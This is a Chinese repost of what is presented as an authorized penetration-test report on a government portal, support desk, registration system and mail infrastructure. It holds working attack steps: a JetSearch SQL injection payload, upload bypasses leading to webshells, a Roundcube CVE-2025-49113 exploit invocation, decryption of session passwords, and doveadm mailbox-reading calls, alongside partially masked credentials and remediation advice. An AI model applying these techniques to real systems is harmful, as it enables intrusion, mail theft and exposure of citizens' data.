【实战】对某三国gov主站的授权渗透测试

本文转载自微信公众号「星宇Sec」

原文标题:【实战】对某三国gov主站的授权渗透测试

内容版权归原作者及原公众号所有,转载仅为传播资讯;若有侵权请联系管理员删除。

本次评估围绕某国政府主站及其关联业务系统展开,范围覆盖政务门户、支持门户、客户登记、Webmail、邮件管理面与存储服务器。评估从域名、公开入口和应用指纹出发,结合页面结构、接口响应、文件处理语义与邮件身份关系,逐步确认不同系统之间的数据流和权限依赖。

测试过程沿业务数据流和权限边界持续推进:先确认真实可用的入口,再验证认证状态、上传解析、数据库权限和凭据存储方式。每当取得新的账号、密钥或主机权限,都会回到整个资产集合中重新评估其可复用范围,从而把零散发现收敛为可重复的完整攻击链。

最终整理出多项已经取得实际控制或读取真实数据的漏洞风险集中在三条相互增强的路径:WordPress管理员接管后通过插件上传取得主机控制;支持门户的开放注册、上传绕过和数据库凭据最终通向Webmail与邮件存储;客户登记系统的未认证文件上传和默认后台直接暴露公民数据。

其中最具破坏性的结果是四处代码执行:WordPress主站通过后台插件上传取得服务器Shell;支持门户通过LaravelFileManager尾点绕过执行PHP;客户登记系统通过未认证文件上传直接执行Webshell;RoundcubeWebmail通过CVE-2025-49113取得 www-data 命令执行。四处执行面分别连接数据库、邮件凭据和公民数据,风险已经超出普通Web漏洞范围。

这些结果说明,本次评估的核心风险并非单一组件漏洞,而是应用、身份、邮件与主机权限之间缺少必要的隔离。一个普通账号、一个可逆会话密钥或一条历史邮件中的明文口令,都可能成为跨系统权限扩散的起点。

评估结论

指标
结果
评估对象
w×w.gov.xxx

、 s××t.gov.xxx 、 v××l.gov.xxx 、 s××l.gov.xxx 、 e××n.gov.xxx 、 s××1 (邮件存储主机)
确认漏洞
13项
严重
6项
高危
5项
中危
2项
已控执行面
WordPress主站、支持门户、客户登记系统、RoundcubeWebmail
核心失陷
WordPress后台与主站主机、邮件Webmail主机、支持门户主机、客户登记系统、邮件管理面与存储层
数据影响
主站77个WordPress用户、客户登记345条敏感记录、支持邮箱49,976封邮件、789条Roundcube会话、约1,931个活跃邮箱
主要风险来源
未认证RCE、SQL注入、默认口令、凭据复用、明文与可逆凭据存储

漏洞总表

编号
资产
漏洞名称
等级
结果
V01
w×w.gov.xxx
WordPress管理员账号接管
严重
管理员会话
V02
w×w.gov.xxx
插件上传Webshell导致主机RCE
严重
webuser

命令执行
V03
w×w.gov.xxx
JetSearch未认证SQL注入
严重
稳定错误布尔oracle
V04
w×w.gov.xxx
SQL注入外带管理员口令哈希
高危
完整哈希恢复
V05
s××t.gov.xxx
LFM尾点上传绕过RCE
严重
Webshell执行
V06
s××t.gov.xxx
数据库邮件凭据泄露
高危
IMAP读取49,976封
V07
s××t.gov.xxx
开放注册未验证邮箱
中危
普通账号准入
V08
v××l.gov.xxx
未认证任意文件上传RCE
严重
pre-authWebshell
V09
v××l.gov.xxx
后台默认弱口令
高危
管理员会话
V10
s××l.gov.xxx
Roundcube认证后RCE
严重
www-data

命令执行
V11
s××l.gov.xxx
会话 des_key 批量口令泄露
高危
12个邮箱口令解密
V12
s××l.gov.xxx
邮件明文传递员工口令
中危
员工邮箱登录
V13
s××1(邮件存储主机)
doveadm

静态凭据任意邮箱读取
高危
19封邮件读取

一、资产与攻击面

1.1 资产地图

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图1
图1

图1:公网资产、应用与主机控制面的关系。

1.2 关键信任边界

边界
本应隔离的对象
实际暴露的耦合
门户账号与邮件身份
WordPress管理员与邮箱所有权
控制邮件管理面后可为历史管理员邮箱建箱并截获重置邮件
邮件入口与存储层
普通Webmail用户与邮件管理员
静态 doveadm 凭据可绕过用户口令,直接读取任意邮箱
应用权限与主机权限
后台管理员与操作系统用户
插件上传、文件上传和Webshell把应用权限升级为主机命令执行
会话数据与凭据
加密会话与明文IMAP口令
des_key

泄露后可逆解密活跃会话中的邮箱口令
文件校验与落盘语义
扩展名校验与实际执行扩展名
尾点导致校验名与落盘名不一致

二、总体攻击链

2.1 三条主路径

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图2
图2

图2:门户、邮件和支持/登记系统三条攻击链。

2.2 攻击链为何能够闭合

本次测试的关键并非依赖某一个未公开漏洞,而是普通缺陷在错误信任关系下被连续放大:

1.业务入口与组件识别降低了攻击不确定性。测试先确认搜索参数、插件版本、上传入口和后台认证方式,再逐个构造可验证信号。 2.未认证注入与版本漏洞提供了可验证入口。JetSearch通过错误布尔oracle形成稳定真假信号,避免仅凭版本猜测得出结论。 3.凭据在多套系统之间流动。数据库明文SMTP/IMAP口令、Roundcube会话口令、邮件管理API与静态 doveadm 凭据使单点失守扩展到邮件全域。 4.应用后台与文件系统之间缺少隔离。WordPress插件上传、LaravelFileManager尾点绕过与客户登记文件上传都最终转为服务器代码执行。

2.3 已取得的服务器权限

执行面
入口漏洞
取得权限
实际控制范围
WordPress主站
V02插件上传
Web用户Shell
读取 wp-config.php 、数据库、认证密钥与77个用户
支持门户
V05尾点上传
IIS/PHP代码执行
访问应用目录、工单数据库与邮件配置,读取49,976封邮件
客户登记系统
V08未认证上传
PHP代码执行
读取 .env 、MySQLroot凭据并导出345条客户数据
RoundcubeWebmail
V10对象注入
www-data

Shell
读取数据库DSN与 des_key ,解密12个邮箱口令
星宇Sec-【实战】对某三国gov主站的授权渗透测试-图3
图3

图3:四处实际代码执行及其后续控制范围。

三、w×w.gov.xxx漏洞详情

3.1 V01:WordPress管理员账号接管

项目
内容
受影响资产
https://gov.xxx

、 https://w×w.gov.xxx 、 /wp-admin/
受影响账号
portal-admin

,绑定邮箱 e××@gov.xxx ,角色Administrator
前置依赖
e××n.gov.xxx

邮件管理面已被控制
风险等级
严重
CWE
CWE-640:弱口令恢复机制

漏洞概述

管理员 portal-admin 绑定的 e××@gov.xxx 在现役邮件系统中原本没有真实托管邮箱,密码重置邮件无处投递。测试通过已被控制的 e××n.gov.xxx 为该地址创建真实邮箱,并将配额已满的转发目标 s××@gov.xxx 改为可读的 w××@gov.xxx ,随后触发WordPress密码找回并截获重置链接。

漏洞本质不是WordPress代码缺陷,而是高权限账号、邮箱托管状态与邮件管理面之间的信任关系断裂。账号绑定了一个“当前无效但可被重新创建”的地址,等于把门户账号安全交给另一套系统的完整性和访问控制。

发现过程

第一步,通过 e××n.gov.xxx 的 /api/cpanel/mailboxes 接口创建 e××@gov.xxx 并修正转发配置。该管理面使用的Bearer令牌为 cIRX××u1y 。

第二步,访问 https://gov.xxx/wp-login.php?action=lostpassword 并提交登录名 portal-admin 。WordPress随即投递重置邮件。

第三步,通过 doveadm 读取邮箱,获得以下关键内容:

from: "Government Portal "
subject: "[Government Portal] Password Reset"
Username: portal-admin
https://gov.xxx/wp-login.php?login=portal-admin&key=D9gu××UILT&action=rp&wp_lang=en_US

第四步,使用重置密钥 D9gu××UILT 将口令修改为 Pz7k××!Hs 并登录。关键响应如下:

POST /wp-login.php HTTP/2
Host: gov.xxx

log=portal-admin&pwd=Pz7k××!Hs

HTTP/2 302
Location: https://gov.xxx/wp-admin/
Set-Cookie: wordpress_logged_in_a487××d969d8=p××n|17××02|...

/wp-admin/ 返回HTTP200,页面标题为 Dashboard - Government Portal 。 /wp-admin/users.php 返回HTTP200与746,730字节内容,页面显示43个Administrator角色账号。该口径反映后台角色页面的观测结果,不等同于后续SQL侧对用户与管理员的统计口径。

危害分析

接管了WordPress管理员账号,取得页面、插件、用户与站点配置控制权,并进一步利用插件上传获得服务器权限。

修复建议

统一管理员邮箱与恢复流程,启用MFA,收回邮件管理面的公网访问权限。

3.2 V02:后台插件上传Webshell导致主机RCE

项目
内容
受影响资产
https://gov.xxx

、 p××t.internal
运行环境
Ubuntu22.04、Linux5.15、PHP、MySQL
受影响目录
/home/g××r/public_html/
数据库
govs××24

,用户 govs××er24
风险等级
严重
CWE
CWE-434:不受限制的危险文件上传

漏洞概述

取得WordPress管理员权限后,测试通过 /wp-admin/plugin-install.php?tab=upload 上传自写插件 toolkit.zip 。插件内的 toolkit.php 使用 popen 执行系统命令,访问后以Web用户 webuser 在主机上获得任意命令执行。

服务器虽然通过 disable_functions 禁用了 system 、 exec 、 shell_exec 和 passthru ,但遗漏了 popen 。这属于典型的“合法管理功能被转化为代码执行”,也说明在生产环境中,管理员权限本身已经接近主机权限。

发现过程

上传过程如下:

POST /wp-admin/update.php?action=upload-plugin HTTP/2
Host: gov.xxx
Content-Type: multipart/form-data

file=toolkit.zip
_wpnonce=<从插件上传页获取>

HTTP/2 200
Plugin installed successfully

访问 https://gov.xxx/wp-content/plugins/toolkit/toolkit.php?c=id 返回:

uid=1003(webuser) gid=1004(webuser) groups=1004(webuser)
p××t.internal
Linux 5.15.0-... Ubuntu 22.04

随后读取 /home/g××r/public_html/wp-config.php ,获得:

DB_NAME = "govs××24";
DB_USER = "govs××er24";
DB_PASSWORD = "HCLw××E9EB";
DB_HOST = "localhost";
table_prefix = "wp_";

AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY
AUTH_SALT / SECURE_AUTH_SALT / LOGGED_IN_SALT / NONCE_SALT
DUPLICATOR_AUTH_KEY = "07ff××056a";

使用泄露数据库凭据导出 wp_users ,共77行,包括 admin 、 portal-admin 、 bit-admin 等账号及其邮箱和口令哈希前缀。后台角色页面显示43个Administrator账号;SQL注入侧统计为77个用户、10个可识别管理员样本。两个数字统计维度不同,报告中分别保留。

危害分析

以Web用户身份执行任意命令,读取数据库、认证密钥与77个用户,并可直接操作整站数据。

修复建议

限制插件安装和Web目录执行,禁用进程函数,轮换数据库、AUTH/SALT与备份密钥。

3.3 V03:JetSearch未认证SQL注入

项目
内容
受影响资产
https://w×w.gov.xxx

、 https://gov.xxx
插件
JetSearch3.5.4
注入参数
jet_ajax_search_settings

中的 include_terms_ids
数据库
govs××24
风险等级
严重
CWE
CWE-89:SQL注入

漏洞概述

搜索页将 jet_ajax_search_settings 作为JSON解析,其中 include_terms_ids 数组元素被直接 implode 进 jet-search-tax-query.php:112 的 SELECT DISTINCT 查询。插件先调用 stripcslashes ,抵消了WordPress魔术引号对引号和反斜杠的转义,最终形成未认证SQL注入。

测试通过构造错误布尔条件,将结果差异映射为HTTP200与HTTP500:

IF((条件),1,(SELECT 1 UNION SELECT 2))

条件为真时子查询只返回一行,查询正常;条件为假时返回两行,触发 mysqli_num_fields() 致命错误并返回HTTP500。该信号不依赖时间和内容回显,适合在有噪声的搜索页上稳定提取数据。

发现过程

正常基线:

GET /?s=awj HTTP/2
Host: w×w.gov.xxx

HTTP/2 200

条件为假的注入请求:

GET /?s=awj&jet_ajax_search_settings={"search_source":["post"],"search_in_taxonomy":"yes","search_in_taxonomy_source":["category"],"category__in":[376],"include_terms_ids":["376) AND (SELECT IF((1=2),1,(SELECT 1 UNION SELECT 2)))-- -"],"exclude_terms_ids":[216]} HTTP/2
Host: w×w.gov.xxx

HTTP/2 500
critical error on this website.

错误堆栈指向 jet-search-tax-query.php:112 与 wpdb.php:3876 。将条件改为 1=1 后恢复HTTP200正常搜索结果;将参数改为合法值 [376] 同样返回200;改为不完整的 ["376) AND ("] 再次触发HTTP500。

危害分析

未认证读取WordPress数据库,并已通过稳定布尔信号外带用户和管理员数据。

修复建议

升级JetSearch,对 include_terms_ids 做整型化和参数化,限制数据库账号权限。

3.4 V04:SQL注入外带WordPress管理员口令哈希

项目
内容
受影响资产
https://w×w.gov.xxx

、 wp_users 表
受影响账号
admin

(ID=1)及另外9个可识别管理员样本
风险等级
高危
CWE
CWE-89、CWE-916:口令哈希强度不足

漏洞概述

在JetSearch错误布尔oracle基础上,将固定条件替换为对目标字段的逐字符比较,即可把HTTP200/500差异转成任意数据读取通道。测试枚举得到 users_count=77 、 admins_total=10 、 admins_phpass=5 、 admins_bcrypt=5 。

提取 admin 口令哈希时, LENGTH(user_pass)=63 返回200,长度62返回500,证明字段长度存在稳定信号。首字符比较 ASCII(SUBSTR(user_pass,1,1))=36 返回200,对应 $ ;末字符比较83返回200,对应 S ,与89对应 X 返回500形成交叉验证。

发现过程

恢复出的完整哈希为:

$wp$2y$10$tHXr××LZOS

对照WordPress6.8的 wp_hash_password 实现,确认该方案为:

bcrypt(base64(HMAC-SHA384(password,"wp-sha384")))

另外5个管理员使用旧式 $P$ phpass哈希。 min admin-phpass user_id=4 ,旧式哈希的离线计算成本明显低于WordPress6.8方案。

危害分析

外带了完整的 admin 口令哈希和10个可识别管理员样本,为离线破解与后台接管提供了真实凭据材料。

修复建议

修复SQL注入,重置管理员口令,并将旧式phpass哈希迁移到强哈希方案。

四、s××t.gov.xxx漏洞详情

4.1 V05:LaravelFileManager尾点上传绕过导致PHP RCE

项目
内容
受影响资产
https://s××t.gov.xxx

、 /laravel-filemanager/upload
组件
UniSharpLaravelFileManager2.9+
运行环境
WindowsServer2016、IIS、PHP7.4.13
应用路径
D:\web\tick××-support
风险等级
严重
CWE
CWE-434、CWE-22:危险文件上传与路径规范化缺陷

漏洞概述

LaravelFileManager的上传端点在获取客户端扩展名和最终落盘时存在规范化差异。提交文件 upload.php. 时,WAF只识别“点号后紧跟危险扩展名”的常见形态,因此尾部单点未被拦截;LFM的 getClientOriginalExtension() 对该文件名返回空字符串,从而跳过PHP黑名单与图片MIME校验。Windows/IIS落盘时去除尾点,文件最终变成 upload.php 并由PHP7.4.13执行。

该漏洞只需要一个普通自注册账号。开放注册问题本身为中危,但在这里成为未授权攻击者获得服务器代码执行的直接前置条件。

发现过程

通过 /register 创建 user_id=1×× 的普通账号,上传内容由JPEG头和PHP标记组成:

POST /laravel-filemanager/upload HTTP/2
Host: s××t.gov.xxx
Content-Type: multipart/form-data

type=Images
upload[0].filename=upload.php.
upload[0].content-type=image/jpeg
upload[0].content=FFD8...

接口返回HTTP200 OK , items API返回:

{
"name":"upload.php",
"url":"https://s××t.gov.xxx/storage/photos/1××/upload.php"
}

访问文件返回HTTP200, X-Powered-By: PHP/7.4.13 ,正文以JPEG魔数开头并以 PWN_OK 结尾,证明PHP代码已被执行。

危害分析

普通账号通过尾点文件名绕过上传并执行Webshell,取得了IIS主机的代码执行权限。

修复建议

以最终落盘名校验扩展名,禁止上传目录执行脚本,并升级LaravelFileManager。

4.2 V06:数据库泄露邮件凭据导致约5万封邮件未授权访问

项目
内容
受影响资产
s××t.gov.xxx

数据库 ticket_support_system 、 general_settings 表
受影响邮箱
s××@gov.xxx
邮件服务器
s××l.gov.xxx:465/587/993
风险等级
高危
CWE
CWE-798、CWE-522:硬编码与明文凭据

漏洞概述

通过LaravelFileManager的Webshell查询 general_settings 表,获得邮件服务器与SMTP/IMAP明文凭据:

smtp_host=s××l.gov.xxx
smtp_port=465
smtp_username=s××@gov.xxx
smtp_password=GovS××1975
smtp_encryption=ssl
mail_driver=smtp

该账号为支持门户的对公收件箱,长期保存大量内部邮件。凭据在数据库中明文保存,并且邮件服务器未对异常来源或异常登录施加有效阻断。

发现过程

SMTPSSL验证返回:

(235, b'2.7.0 Authentication successful')

587端口STARTTLS同样成功。IMAPSSL验证返回:

('OK', [b'Logged in'])
banner: * OK [CAPABILITY ...] Dovecot (Debian) ready.
SELECT INBOX -> 49976封

邮箱内可列举 INBOX 、 INBOX/Ticket systeem 、 INBOX/Digitale e-ID 等文件夹,并可批量读取正文、附件与邮件头。

危害分析

读取了支持邮箱中的49,976封内部邮件,并取得可继续用于SMTP发信和IMAP登录的明文凭据。

修复建议

轮换邮件口令,禁止在数据库中明文保存凭据,并为邮件账号启用MFA和来源限制。

4.3 V07:开放注册不验证邮箱所有权

项目
内容
受影响资产
https://s××t.gov.xxx/register

、 /login
风险等级
中危
CWE
CWE-620:未正确验证账号所有权

漏洞概述

支持门户开放注册,仅检查邮箱后缀是否为 @gov.xxx ,不发送确认链接或验证码。后缀判断还可被 mail.gov.xxx 、 sub.gov.xxx 以及引号本地部分 "x××@example.xxx"@gov.xxx 绕过。注册后立即具备登录能力。

普通用户可访问Dashboard、Knowledge与Add-New-Ticket,访问 /users 、 /roles 、 /staffs 时被拒绝。工单数据按 user_id 隔离,因此未直接取得后台管理权限;但账号准入为后续LFM上传RCE提供了必要会话。

发现过程

POST /register HTTP/2
Host: s××t.gov.xxx

_token=...
email=t××@gov.xxx

HTTP/2 302
Location: https://s××t.gov.xxx

注册变体验证结果:

t××@mail.gov.xxx ->注册成功
t××@sub.gov.xxx ->注册成功
"t××@example.xxx"@gov.xxx ->注册成功
t××@gov.xxx.example.xxx ->被拒绝

登录后 /dashboard 返回HTTP200与13,800字节页面, /get-ticket-data 返回的查询绑定自身 user_id=1×× 。 /users 返回 Toegang geweigerd! U heeft geen toegangsrechten 。

危害分析

未验证邮箱所有权即可取得内部支持门户账号,并实际访问Dashboard、知识库与工单功能。

修复建议

验证邮箱所有权,采用邀请制并限制新账号的文件管理权限。

五、v××l.gov.xxx漏洞详情

5.1 V08:未认证任意文件上传导致PHP代码执行

项目
内容
受影响资产
https://v××l.gov.xxx/client-registration
落盘目录
/assets/images/backend/client_id/

、 client_salary/ 、 client_family_book/
运行环境
Laravel8.83.27、PHP8.3.6
风险等级
严重
CWE
CWE-434:不受限制的危险文件上传

漏洞概述

公开注册接口直接处理多文件上传,控制器未使用 mimes 、 mimetypes 或扩展名白名单,只以 uniqid()+time()+原始扩展名 生成文件名。文件被写入Web根下的图片目录,且目录允许PHP执行。

虽然文件名随机,但后台客户详情会返回 back_id_card 字段,因此攻击者可以通过默认弱口令后台或文件名枚举获得落盘名,再访问执行。

发现过程

POST /client-registration HTTP/2
Host: v××l.gov.xxx
Content-Type: multipart/form-data

data_type=2
first_name=SecurityTest
last_name=UploadPoC
district=1
resort_id=1
phone=1234567
id_card_number=TEST-ID-0001
front_id_card=@front.png
back_id_card=@shell.php;type=image/png

上传的 back_id_card 内容为:

 echo "PWN_TEST_".(40+2)."_".substr(md5("voedsel"),0,8); ?>

接口返回HTTP302与 Registratie succesvol! 。通过后台 /admin/clients/show/4×× 获得落盘文件名 6a××73.php 。访问:

GET /assets/images/backend/client_id/6a××73.php HTTP/2
Host: v××l.gov.xxx

HTTP/2 200
Content-Type: text/html
Content-Length: 19

PWN_OK

危害分析

未认证上传后执行PHP代码,并已导出345条包含身份证号、工资等字段的客户数据。

修复建议

执行上传白名单与内容校验,禁止图片目录执行脚本,并修复后台默认口令。

5.2 V09:管理后台默认弱口令admin/12××56

项目
内容
受影响资产
https://v××l.gov.xxx/admin

、 /admin/authenticate
后台
PixelDesk/TKF&D Servicedesk
风险等级
高危
CWE
CWE-1392:使用默认凭据

漏洞概述

系统部署后未修改默认管理员口令,公网可直接使用 admin/12××56 登录。登录接口无验证码、失败锁定和MFA。后台包含客户、工单、代理、用户、邮件/SMS配置、系统更新等功能。

发现过程

GET /admin HTTP/2
Host: v××l.gov.xxx

POST /admin/authenticate HTTP/2
Content-Type: application/x-www-form-urlencoded

username=admin
password=12××56
_token=<页面令牌>

HTTP/2 302
Location: https://v××l.gov.xxx/admin/dashboard
Set-Cookie: pixeldesk_session=...

后台页面返回HTTP200与207,696字节内容,标题为 TKF&D Servicedesk - Dashboard 。已见342+客户记录,包含身份证正反面与家庭簿图片路径;设置页显示AWS S3Key/Secret,管理员身份为演示账号 d××@example.xxx 。

危害分析

使用默认口令取得客户登记后台,读取342+客户记录、证件材料与AWS凭据配置。

修复建议

删除默认账号,启用MFA,轮换AWS密钥并限制后台来源。

六、s××l.gov.xxx漏洞详情

6.1 V10:Roundcube1.6.9认证后PHP对象注入RCE

项目
内容
受影响资产
https://s××l.gov.xxx
组件
Roundcube1.6.9, rcversion=10609
受影响漏洞
CVE-2025-49113
运行环境
Debian12、主机 w××1 、Web用户 www-data
风险等级
严重
CWE
CWE-502:不可信数据反序列化

漏洞概述

Roundcube1.6.11之前版本在处理 settings/upload 的 _from 参数时存在对象注入问题。攻击者使用有效邮箱账号登录后,提交包含 Crypt_GPG_Engine gadget链的构造对象,可在会话反序列化阶段触发任意命令执行。

测试使用已取得的 s××@gov.xxx/GovS××1975 登录Webmail,以时延探针确认命令执行,再写入最小Webshell。该漏洞把普通邮件账号提升为Webmail主机控制权限。

发现过程

版本确认:

GET https://s××l.gov.xxx/
响应脚本包含:"rcversion":10609

登录后使用CVE-2025-49113PoC执行 sleep :

php poc_fearsoff/CVE-2025-49113.php \
https://s××l.gov.xxx \
s××@gov.xxx \
GovS××1975 \
"sleep 10"

Payload injected successfully
Executing payload...
Exploit executed successfully

对照时延:

sleep0 -> 2.47秒
sleep5 -> 7.74秒
sleep10 -> 13.33秒

时延随命令时长线性增加,排除普通网络抖动。访问 https://s××l.gov.xxx/p××x.php?c=id 返回:

PWN4892OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
w××1
Debian12

读取 /var/www/html/[Roundcube]/config/config.inc.php ,获得:

db_dsnw=pgsql://roundcube:uJfm××CSH@10.x.x.17/roundcube
des_key=P2JF××B8vu
default_host=ssl://e××l.gov.xxx

危害分析

以 www-data 执行命令,取得Webmail主机控制,并读取Roundcube数据库DSN与 des_key 。

修复建议

升级Roundcube,轮换数据库凭据与会话密钥,清除Webshell与持久化。

6.2 V11:Roundcube会话库des_key导致批量邮箱口令泄露

项目
内容
受影响资产
s××l.gov.xxx

、PostgreSQL roundcube.session 表
会话规模
789条会话记录,12条包含IMAP用户名与口令
受影响账号
12个活跃 @gov.xxx 邮箱,首批8个已验证登录
风险等级
高危
CWE
CWE-312、CWE-321:敏感数据未加密与硬编码密钥

漏洞概述

Roundcube默认 session_storage=db ,会话变量中包含用户名与IMAP口令,并以 des_key 执行 DES-EDE3-CBC 可逆加密。攻击者获得 des_key 和数据库访问权限后,即可解密所有历史与新增活跃会话。

该问题与V10不是同一漏洞,而是配置与凭据存储缺陷造成的二次批量泄露。即使修复反序列化RCE,只要 des_key 和会话表仍可读,单点配置泄露仍会导致大量邮箱口令暴露。

发现过程

在前置Webshell中查询 session 表:

SELECT sess_id,changed,ip,vars FROM session;

共返回789行。 vars 为Base64编码的PHP会话串,其中12行含 username+password 。按照Roundcube program/lib/Roundcube/rcube.php 的逆运算处理:

base64_decode
→ [IV(8字节) | ciphertext]
→ openssl_decrypt(ciphertext,"DES-EDE3-CBC",des_key,OPENSSL_RAW_DATA,IV)

首批8个账号在 s××l.gov.xxx:993 IMAP登录成功,样例包括:

p××@gov.xxx INBOX557封
i×@gov.xxx INBOV1276封
v××@gov.xxx INBOX332封

轮询80秒后, session 表新增4个登录会话并同样解出,包括:

s××@gov.xxx / Go××34
s××@gov.xxx / St××23
a××@gov.xxx / St××23
a××@gov.xxx / St××23

St××23 对应的默认口令在多个账号复用,说明口令策略问题仍在扩散。12个邮箱涉及多个部委及司长级岗位。

危害分析

解密了12个活跃邮箱口令,其中8个完成IMAP登录,涉及多个部委和司长级邮箱。

修复建议

轮换 des_key ,避免可逆保存IMAP口令,强制全部邮箱用户重置口令。

6.3 V12:内部邮件明文传递员工邮箱口令

项目
内容
泄露来源
s××@gov.xxx

邮箱,UID5206
邮件时间
2024-04-09
发件人
支持人员
受影响账号
k××@gov.xxx
风险等级
中危
CWE
CWE-522:凭据保护不足

漏洞概述

支持邮箱存档中的工单邮件以明文传递员工邮箱新口令,且口令未强制首次登录修改。该邮件长期保存在共享支持邮箱中,任何能读取该邮箱的人都可以获得真实凭据。

发现过程

邮件主题为 RE: Aanvraag email adressen ,正文包含:

Deze medewerker heeft problemen met het inloggen.
Graag resetten en haar voorzien van een nieuw wachtwoord.
k××@gov.xxx KLXT××QRK

使用 k××@gov.xxx/KLXT××QRK 在 s××l.gov.xxx:993 登录成功:

('OK',[b'Logged in'])
SELECT INBOX -> 3封

该口令在其他系统中未验证成功,但该分发方式表明账号口令存在跨系统复用风险。

危害分析

使用邮件中的明文口令实际登录员工邮箱并读取3封邮件,密码分发链路已被完全穿透。

修复建议

重置员工口令,禁止邮件传递密码,启用首次登录改密和MFA。

七、s××1(邮件存储主机)漏洞详情

7.1 V13:doveadm HTTP API静态凭据导致任意邮箱邮件读取

项目
内容
受影响资产
邮件存储主机 s××1 , 10.x.x.16:8080/doveadm/v1
凭据
doveadm:k4nA××Epg
影响范围
约1,931个活跃邮箱
风险等级
高危
CWE
CWE-798、CWE-306:硬编码凭据与缺少认证

漏洞概述

存储服务器的Dovecot doveadm HTTP API使用静态Basic凭据。该口令可在 e-admin 配置中获取,并通过已控 w××1 的 www-data shell横向访问内网存储层。

接口以邮件管理员身份工作,可绕过邮箱口令直接读取任意存在的邮箱。接口同时具备 messageDelete 、 expunge 、 move 、 mailboxDelete 和 sievePut 等写入或破坏能力;测试仅使用 quotaGet 、 mailboxList 与 fetch ,未使用写入操作。

发现过程

配额查询:

POST /doveadm/v1 HTTP/1.1
Host: 10.x.x.16:8080
Authorization: Basic
Content-Type: application/json

[["quotaGet",{"user":"s××@gov.xxx"},"t"]]

[["doveadmResponse",[{
"root":"User quota",
"type":"STORAGE",
"value":"4096216",
"limit":"4096000",
"percent":"100"
}],"t"]]

文件夹枚举:

[["mailboxList",{"user":"r××@gov.xxx"},"t2"]]

返回 Archive 、 Trash 、 Sent 、 Spam 、 Drafts 与 INBOX 。 i××@gov.xxx 可列出10个文件夹。

邮件读取:

[["fetch",{
"user":"r××@gov.xxx",
"field":["uid","date.received","hdr.from","hdr.subject"],
"query":["mailbox","INBOX","SINCE","2026-10-01"]
},"tA"]]

返回19封邮件,UID954至972。样例主题包括:

[Ticket ID: TTRP01Y1WX] Email aanvraag
[Ticket ID: XBW3BAIS0Z] Aanmaak Subdomein a××y.gov.xxx tbv e-mail hosting

同凭据访问 10.x.x.14:8080 返回拒绝, 10.x.x.16:8080 超时, 127.0.0.1:8080 拒绝,说明目标接口位于可达内网且凭据有效。 p××@gov.xxx 与 e××@gov.xxx 的 mailboxList 返回 exitCode67 ,表示邮箱不存在。

危害分析

使用静态管理凭据读取目标邮箱19封邮件,并确认同一接口覆盖约1,931个活跃邮箱。

修复建议

轮换 doveadm 凭据,改用mTLS或短期令牌,并限制管理网段访问。

八、风险统计与跨系统复盘

8.1 漏洞等级分布

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图4
图4

图4:漏洞等级分布。

资产
严重
高危
中危
合计
w×w.gov.xxx
3
1
0
4
s××t.gov.xxx
1
1
1
3
v××l.gov.xxx
1
1
0
2
s××l.gov.xxx
1
1
1
3
s××1(邮件存储主机)
0
1
0
1
合计
6
5
2
13
星宇Sec-【实战】对某三国gov主站的授权渗透测试-图5
图5

图5:13项确认漏洞造成的实际控制深度。

8.2 身份与凭据信任链

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图6
图6

图6:邮箱、管理面、存储层与门户账号之间的信任耦合。

8.3 关键风险认知

凭据复用把应用边界扩大为组织边界。支持门户数据库、邮件账号、Roundcube会话、邮件管理API与 doveadm 凭据构成连续信任链,任意一层被读取都会扩大邮件影响范围。

上传校验必须以最终落盘结果为准。LFM尾点绕过与voedsel任意上传最终都转化为真实代码执行,说明WAF和随机文件名无法替代不可执行目录与最终文件名白名单。

本次评估只保留已验证取得权限或读取真实数据的漏洞。仅暴露版本、路径、目录、用户名或理论攻击面的条目不再计入确认漏洞。

九、关键凭据与数据暴露

9.1 已确认凭据

类别
凭据或标识
关联资产
影响
WordPress重置密钥
D9gu××UILT gov.xxx
接管 portal-admin 管理员账号
WordPress管理员口令
portal-admin/Pz7k××!Hs gov.xxx
进入后台
WordPress数据库
govs××er24/HCLw××E9EB govs××24
全站数据库访问
WordPress认证密钥
AUTH/SALT全部明文
gov.xxx
会话与Cookie信任受损
备份认证密钥
DUPLICATOR_AUTH_KEY=07ff××056a gov.xxx
备份接口信任受损
支持邮箱
s××@gov.xxx/GovS××1975 s××l.gov.xxx
读取49,976封邮件
员工邮箱
k××@gov.xxx/KLXT××QRK s××l.gov.xxx
员工邮箱接管
Roundcube数据库
roundcube/uJfm××CSH 10.x.x.17/roundcube
读取会话库
Roundcube会话密钥
des_key=P2JF××B8vu roundcube.session
解密IMAP口令
邮件管理Bearer
cIRX××u1y e××n.gov.xxx
建箱与改转发
Dovecot管理API
doveadm:k4nA××Epg 10.x.x.16:8080
任意邮箱读取与操作
客户登记后台
admin/12××56 v××l.gov.xxx
公民数据后台

9.2 数据暴露规模

数据类别
观测规模
主要风险
WordPress用户
77个用户;后台显示43个Administrator角色账号
账号接管、钓鱼、撞库
支持邮箱邮件
49,976封
内部通信、工单、员工信息、系统凭据
Roundcube会话
789行;12条含IMAP口令
12个活跃邮箱可解密
邮件存储活跃邮箱
约1,931个
管理员级读取与Sieve植入
客户登记数据
342+客户记录、345条敏感导出
身份证、家庭簿、工资与联系方式

9.3 不应被忽略的间接数据

管理员邮箱和人员姓名可用于钓鱼;邮件主题和工单编号可暴露业务流程、子域创建请求和内部组织结构。数据泄露处置不能只统计记录条数,还要覆盖身份、通信和系统配置。

十、修复路线

10.1 优先级路线

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图7
图7

图7:修复优先级与治理路线。

10.2 P0:立即处置

1.隔离或下线e-admin管理面与 doveadm HTTP API。 2.删除全部Webshell、恶意插件、异常计划任务、Sieve规则和未授权SSH密钥。 3.轮换WordPress数据库、管理员、AUTH/SALT、备份密钥、邮件账号、Roundcube数据库与 des_key 、 doveadm 及客户登记数据库凭据。 4.冻结或重置全部高权限账号,吊销现有会话与令牌。 5.保留内存、磁盘、应用日志、邮件日志和数据库审计记录,避免仅重启或重装导致关键日志丢失。

10.3 P1:紧急修复

1.修复JetSearchSQL注入、LaravelFileManager上传绕过、voedsel任意文件上传与Roundcube反序列化漏洞。 2.修改voedsel默认管理员口令,删除演示账号和演示数据。 3.为 s××t.gov.xxx 注册增加邮箱验证,限制普通账号的文件管理权限。 4.限制 e-admin 与存储接口来源,启用服务间签名与审计。 5.强制清理默认口令、复用口令和可逆存储的邮箱口令。

